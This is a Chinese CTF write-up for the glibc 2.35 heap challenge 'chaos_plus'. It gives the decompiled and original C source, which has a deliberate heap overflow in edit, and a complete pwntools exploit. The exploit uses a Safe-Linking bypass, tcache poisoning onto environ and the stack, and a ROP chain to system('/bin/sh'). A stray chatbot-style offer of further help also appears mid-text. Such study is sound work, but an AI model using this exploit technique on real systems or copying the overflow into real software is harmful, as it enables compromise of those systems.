[ISCC 2024] chaos_plus(堆栈结合)

网上有师傅对 [ISCC 2024] chaos 进行了修改，抬高了 libc 版本至 2.35 并修改了部分函数，思路可以供自己去学习高版本 libc 的堆攻击，也认识了 Safe-Linking 基址机制。总而言之，是一道非常好的题目。

参考资料：https://blog.csdn.net/j284886202/article/details/139119047

chaos_plus(UAF libc-2.35)

1776690962495-d1289fb8-8078-450a-8350-78d4b1e5de42.png

程序分析：

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(const char *p_%d, char **num, char **a3)
{
  int n4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu((__int64)p_%d, (__int64)num);
      puts("Please Choice:");
      num = (char **)&n4;
      p_%d = "%d";
      __isoc99_scanf("%d", &n4);
      if ( n4 != 4 )
        break;
      printf();
    }
    if ( n4 > 4 )
      break;
    switch ( n4 )
    {
      case 3:
        edit();
        break;
      case 1:
        add();
        break;
      case 2:
        del();
        break;
      default:
        return 0;
    }
  }
  return 0;
}
1
2
3
4
5
6
7
8
int __fastcall menu(__int64 p_%d, __int64 p_n4)
{
  puts("1.Add Chaos!");
  puts("2.Del Chaos!");
  puts("3.Edit Chaos!");
  puts("4.Print Chaos!");
  return puts("5.Exit!");
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 add()
{
  int size; // [rsp+0h] [rbp-10h] BYREF
  int n9; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( n9 = 0; ; ++n9 )
  {
    if ( n9 > 9 )
      return 0;
    if ( !*((_QWORD *)&unk_4060 + n9) )
      break;
  }
  puts("Please Input Size:");
  __isoc99_scanf("%d", &size);
  *((_QWORD *)&unk_4060 + n9) = malloc(size);
  if ( !*((_QWORD *)&unk_4060 + n9) )
  {
    puts("Allocate Error\n");
    exit(2);
  }
  puts("Content of Chaos!:");
  read(0, *((void **)&unk_4060 + n9), size);
  puts("Successful");
  return 0;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 del()
{
  unsigned int n9; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  __isoc99_scanf("%d", &n9);
  if ( n9 <= 9 && *((_QWORD *)&unk_4060 + n9) )
  {
    free(*((void **)&unk_4060 + n9));
    *((_QWORD *)&unk_4060 + n9) = 0;
    return n9;
  }
  else
  {
    puts("Error!");
    return 0xFFFFFFFFLL;
  }
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 edit()
{
  unsigned int n9; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  __isoc99_scanf("%d", &n9);
  if ( n9 <= 9 && *((_QWORD *)&unk_4060 + n9) )
  {
    puts("Change Chaos Content:");
    read(0, *((void **)&unk_4060 + n9), 0x20u);
    return n9;
  }
  else
  {
    puts("Error!");
    return 0xFFFFFFFFLL;
  }
}

printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 printf()
{
  unsigned int n9; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please Input index:");
  __isoc99_scanf("%d", &n9);
  if ( n9 <= 9 && *((_QWORD *)&unk_4060 + n9) )
  {
    puts(*((const char **)&unk_4060 + n9));
    return n9;
  }
  else
  {
    puts("Error!");
    return 0xFFFFFFFFLL;
  }
}

EXP 思路：

这是一个非常经典的针对 glibc 2.35 环境的堆溢出/UAF（Use-After-Free）漏洞利用脚本。

在 glibc 2.35 中，漏洞利用主要面临两个巨大的挑战：

  1. 移除了所有的 Hook 函数：去掉了 __malloc_hook、__free_hook 等，这意味着我们无法再通过简单地劫持堆相关的函数指针来拿 shell，必须转而寻找其他目标（如栈上的返回地址、_IO_FILE 结构等）。
  2. 引入了 Safe-Linking（安全链接）：Tcache 和 Fastbin 的 fd 指针被异或加密了，
  3. 公式为 mangled_ptr = ( L ≫ 12 ) ^ P （L 为当前 chunk 的地址，P 为原本指向的地址）。

这份脚本的总体思路非常清晰：泄露 libc 基址 → 泄露 Heap 基址（绕过 Safe-Linking） → 劫持 tcache 读出 environ 从而泄露栈地址 → 劫持 tcache 修改栈上的返回地址（ROP）。

1. 泄露 Libc 基址 (Unsorted Bin 泄露)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add(0x410, b'A')  # 申请一个超出 tcache 范围的 chunk (idx 0)
add(0x18, b'A')   # 隔离 chunk 1-4，防止 free 时与 top chunk 合并
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')

delete(0)            # 释放 idx 0，由于其大小超过 tcache，会进入 Unsorted Bin
add(0x410, b'A' * 8) # 重新申请回来
show(0)              # 打印内容，泄露 main_arena 相关的 libc 地址

io.recvuntil(b'A' * 8)
main_arena = u64(io.recv(6).ljust(8, b'\0')) 
log.success(f'main_arena is {hex(main_arena)}')
# gdb.attach(io)
# pause()
environ = main_arena + 0x7520
success('environ =>> ' + hex(environ))

libcbase = environ - libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139
  • 我们可以通过 unsortedbin 连的 main_arena 寻找 environ 的地址：

查找 main_arena + 96 和 environ 的偏移

1
distance 0x7fd636c1ace0 &environ
1776701633309-60799f92-3c6a-4036-afc6-46c108dd17b0.png
  • 释放大小超过 0x408 的 chunk 时，它会被放入 Unsorted Bin。此时它的 fd 和 bk 指针会指向 libc 内部的 main_arena。重新申请回来并通过打印，可以带出这个 libc 地址.

还有一种方法是直接去计算偏移：

1
readelf -s libc.so.6 | grep environ
1776701791315-63d22fea-7184-417d-8685-c78f7363c975.png 1776702020854-ad25e290-ba98-4992-9c8a-f11cb8b96591.png

2. 泄露堆基址 (绕过 Safe-Linking)

1
2
3
4
5
6
7
delete(2)
delete(1)
add(0, '')
add(0, '')
show(2)
heap = u64(io.recvuntil('\n', drop = True).ljust(8, b'\0')) * 0x1000
success('heap ==> ' + hex(heap))
  • 由于脚本中利用了 UAF 漏洞，它打印了刚刚被释放到 tcache 中的 chunk 2 的 fd 指针。
  • 根据 Safe-Linking 机制，链表末端的 chunk 其原始 fd 应该是 0。所以被加密后的指针值为

( HeapBase ≫ 12 ) ⊕ 0 = HeapBase ≫ 12。

  • 脚本拿到这个值后，直接乘以 0x1000（等价于左移 12 位），就完美还原出了当前堆块所在的页面基址。有了这个基址，我们就可以随时伪造 Safe-Linking 的加密指针了。

3. 利用堆溢出/UAF 构造 Chunk Overlap

1
2
3
4
5
6
edit(1, p64(0) * 3 + p64(0x41))
delete(2)
add(0x30, b'A')

gdb.attach(io)
pause()
  • 利用了 edit 函数存在的堆溢出漏洞，修改了紧随其后的 chunk 2 的 size 字段，将其从 0x21 改成了 0x41。然后释放再申请回来，这使得原本属于 chunk 3 的内存区域现在被包含在新的 chunk 2 内，形成了 Chunk Overlap，为后续的 Tcache Poisoning 打下基础。
1776773662592-d3c86d65-5371-4d53-9932-967d3e1826e5.png

4. 泄露栈地址 (利用 environ)

1
2
3
4
5
6
7
8
delete(4)
delete(3)
delete(2)

add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (environ - 0x10)))
add(0x18, b'A')
add(0x18, b'A' * 0x10)
show(4)
  • 因为 glibc 2.35 删除了 __free_hook，我们无法直接劫持 free，最简单的办法就是修改栈上的函数返回地址。而要知道栈的地址，必须去读取 libc 中 environ 变量存储的栈指针。
  • Tcache Poisoning：上面的 add 写入了伪造的 fd：p64((heap >> 12) ^ (environ - 0x10))。注意这里严格遵循了 Safe-Linking 的加密规则，将目标地址 environ - 0x10 进行了异或加密。
  • 这里把 fd 申请到了 environ - 0x10，是因为 因为当你通过 malloc 拿到一块内存时，指针是跳过 Chunk 头部的 16 字节的。我们将伪造的 Chunk 头部定在 environ - 0x10，这样后续 malloc 返回的用户区指针，就精准无误地落在了 environ 变量上。
  • 随后两次申请，将 tcache 链表引导到了 environ 变量所在的内存附近，通过 show(4) 成功读取了其中的栈指针。

5. 计算栈指针

1
2
3
4
5
6
7
8
stack1 = u64(io.recvuntil('\x0a', drop = True)[-6:].ljust(8, b'\0'))
success('stack1 =>> ' + hex(stack1))

# gdb.attach(io)
# pause()

stack = stack1 - 0x120
success('stack =>> ' + hex(stack))
1776775912191-2797f673-5d09-404c-b803-f092aff83fba.png

泄露出的 stack1 就是通过 environ 返回到栈上的值。

当 main 函数结束后，就会弹出返回地址 0x7ffd3bb7a148 —▸ 0x7fea09629d90 ◂— mov edi, eax，此时程序就会跳回到 libc 当中的 __libc_start_call_main 函数。在 libc 接管之后，就会执行 mov edi，eax，把刚才 main 函数返回的 0 转移到 edi 当中，随后作为 exit(0)的参数。

6. 在栈上布置 ROP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 第一次 Tcache 投毒，目标地址是：栈的返回地址 stack - 8
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack - 8)))
gdb.attach(io)
pause()

add(0x18, b'A')
add(0x18, p64(0) + p64(rdi) + p64(bin_sh))
"""
p64(0)：写在 stack - 8 处，无实际意义，纯粹为了占位和绕过对齐检查（通常会覆盖掉 saved RBP 的高位）。

p64(rdi)：刚好落在 stack 处！这精准覆盖了 main 函数的真实返回地址。劫持了执行流。

p64(bin_sh)：写在 stack + 8 处，这是为前面的 pop rdi 准备的参数。
"""

# 第二次 Tcache 投毒，目标地址是：stack + 8
add(0x18, b'A')
delete(6)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack + 8)))

add(0x18, b'A')
add(0x18, p64(bin_sh) + p64(ret) + p64(sys))
"""
p64(bin_sh)：写在 stack + 8。由于前一次操作已经写过一次了，这里只是为了占位，重新覆盖一次相同的值，保证栈数据的连续性。

p64(ret)：写在 stack + 16。增加一个单纯的 ret 指令，是为了栈对齐（Stack Alignment）。Ubuntu 下调用 system 时，要求 RSP 必须是 16 字节对齐的，否则内部调用 movaps 指令时会直接 Segment Fault。

p64(sys)：写在 stack + 24。真正的终极目标 system() 函数地址。
"""

io.sendline('5')

  • 原理：两次重复了 Tcache 投毒的操作，将堆块直接申请到了栈上（stack - 8 和 stack + 8）。
  • 在栈上写入了一段经典的 ROP 链：pop rdi; ret→&”/bin/sh”→ret (用于栈对齐) →system()。

7. 触发 ROP

1
io.sendline('5')
  • 发送 5 应该是触发菜单中的 Exit（退出）功能。
  • 此时程序执行 return，但原本的返回地址已经被上述的 ROP 链覆盖。程序不会正常返回，而是会去执行 system("/bin/sh")，从而成功 get shell。

总结：

这是一个非常标准且熟练的高版本 glibc 堆利用模板。作者对 Safe-Linking 的加解密、environ 的妙用以及通过 Tcache 劫持栈执行流的手法运用得非常纯熟。

如果您正在学习高版本堆利用，你希望我再详细解释一下 Safe-Linking 的底层机制，或者探讨一下除了修改返回地址外，glibc 2.35 还有哪些常见的攻击面（比如 _IO_FILE 的劫持）吗？

总 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

filename = './chaos_plus'
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('./libc.so.6')
	
def add(size, content):
	io.sendlineafter('Please Choice:\n', '1')
	io.sendlineafter('Input Size:\n', str(size))
	io.sendafter('Content of Chaos!:\n', content)
	
def delete(index):
	io.sendlineafter('Please Choice:\n', '2')
	io.sendlineafter('Please Input index:\n', str(index))
	
def edit(index, content):
	io.sendlineafter('Please Choice:\n', '3')
	io.sendlineafter('Please Input index:\n', str(index))
	io.sendafter('Change Chaos Content:\n', content)
	
def show(index):
	io.sendlineafter('Please Choice:\n', '4')
	io.sendlineafter('Please Input index:\n', str(index))
    
add(0x410, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')

delete(0)
add(0x410, b'A' * 8)
show(0)

io.recvuntil(b'A' * 8)
environ = u64(io.recv(6).ljust(8, b'\0')) + 0x7520
success('environ =>> ' + hex(environ))

libcbase = environ - libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139

delete(2)
delete(1)
add(0, '')
add(0, '')
show(2)
heap = u64(io.recvuntil('\n', drop = True).ljust(8, b'\0')) * 0x1000
success('heap ==> ' + hex(heap))

edit(1, p64(0) * 3 + p64(0x41))
delete(2)
add(0x30, b'A')
delete(4)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (environ - 0x10)))

add(0x18, b'A')
add(0x18, b'A' * 0x10)
show(4)
stack = u64(io.recvuntil('\x0a', drop = True)[-6:].ljust(8, b'\0')) - 0x120
success('stack =>> ' + hex(stack))

add(0x18, b'A')
delete(5)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack - 8)))
gdb.attach(io)
pause()

add(0x18, b'A')
add(0x18, p64(0) + p64(rdi) + p64(bin_sh))

add(0x18, b'A')
delete(6)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack + 8)))

add(0x18, b'A')
add(0x18, p64(bin_sh) + p64(ret) + p64(sys))

io.sendline('5')

io.interactive()

C 源代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
//  题目源代码
/*************************************************************************
    > File Name: yx.c
    > Author: zll
    > Mail: zhnllion@126.com 
    > Created Time: 2024年05月06日 星期一 10时43分19秒
 ************************************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char *buf[80];

void init() {
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stdout, 0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
}

void menu() {
	puts("1.Add Chaos!");
	puts("2.Del Chaos!");
	puts("3.Edit Chaos!");
	puts("4.Print Chaos!");
	puts("5.Exit!");
}

int add() {
	int i, v2;

	for (i = 0; ; i++) {
		if (i > 9) {	
			return 0;
		}

		if (!buf[i]) {
			break;
		}

	}
	
	puts("Please Input Size:");
	scanf("%d", &v2);

	buf[i] = malloc(v2);
	if (!buf[i]) {
		puts("Allocate Error\n");
		exit(2);
	}

	puts("Content of Chaos!:");
	read(0, buf[i], v2);
	puts("Successful");

	return 0;
}

int delete() {
	unsigned int v2;

	puts("Please Input index:");
	scanf("%d", &v2);

	if ( v2 <= 9 && buf[v2] ) {
		free(buf[v2]);
		buf[v2] = 0;
		return v2;
	}

	else {
		puts("Error!");
		return 0xFFFFFFFFLL;
	}

}

int edit() {
	unsigned int v2;

	puts("Please Input index:");
	scanf("%d", &v2);

	if ( v2 <= 9 && buf[v2] ) {
		puts("Change Chaos Content:");
		read(0, buf[v2], 0x20);
    return v2;
	}

	else {
		puts("Error!");
		return 0xFFFFFFFFLL;
	}

}

int show() {
	unsigned int v2;

	puts("Please Input index:");
	scanf("%d", &v2);

	if ( v2 <= 9 && buf[v2] ) {
		puts(buf[v2]);
		return v2;
	}

	else {
		puts("Error!");
		return 0xFFFFFFFFLL;
	}

}

int main() {
	int v4;

	init();
	while (1) {
		menu();
		puts("Please Choice:");
		scanf("%d", &v4);

		switch (v4) {
			case 1:
				add();
				break;
			case 2:
				delete();
				break;
			case 3:
				edit();
				break;
			case 4:
				show();
				break;
			default:
				return 0;
		}

	}

}

更新: 2026-04-27 20:59:52
原文: https://www.yuque.com/idcm/wnemg9/trs5s1cskesxttbk